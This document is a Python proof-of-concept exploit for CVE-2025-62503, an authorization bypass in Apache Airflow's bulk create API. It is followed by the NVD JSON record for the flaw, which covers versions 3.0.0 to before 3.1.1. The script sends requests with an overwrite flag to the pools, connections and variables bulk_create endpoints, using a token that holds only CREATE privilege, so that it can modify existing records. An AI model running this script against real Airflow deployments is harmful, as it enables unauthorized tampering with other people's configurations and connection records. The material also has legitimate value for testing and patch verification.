CVE-2025-62503

import requests import json # CVE-2025-62503 PoC - Apache Authorization Bypass via Bulk Create API # Target: Apache component with bulk create API # Requirement: User with CREATE privilege (no UPDATE privilege) TARGET_URL = "https://target-server.com/api/v1/" AUTH_TOKEN = "your_low_privilege_token_with_create_only" def exploit_authorization_bypass(): """ Exploit CVE-2025-62503: Bypass UPDATE privilege check via bulk create with overwrite """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Payload to overwrite existing records without UPDATE privilege # Target: Pools, Connections, or Variables payload = { "records": [ { "id": "existing_record_id", # Target existing record "name": "malicious_pool_config", "config": "modified_configuration" } ], "overwrite": True # Key parameter that triggers the vulnerability } endpoints = [ "pools/bulk_create", "connections/bulk_create", "variables/bulk_create" ] for endpoint in endpoints: try: response = requests.post( f"{TARGET_URL}{endpoint}", headers=headers, json=payload, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully exploited {endpoint}") print(f"Response: {response.text}") else: print(f"[-] Failed on {endpoint}: {response.status_code}") except requests.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit_authorization_bypass()

{"cve": {"id": "CVE-2025-62503", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:35.790", "lastModified": "2025-11-04T16:52:01.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "User with CREATE and no UPDATE privilege for Pools, Connections, Variables could update existing records via bulk create API with overwrite action."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.1", "matchCriteriaId": "86A30AC1-F972-4F40-AC3B-A2DC722F85FF"}]}]}], "references": [{"url": "https://lists.apache.org/thread/3v58249qscyn1hg240gh8hqg9pb4okcr", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}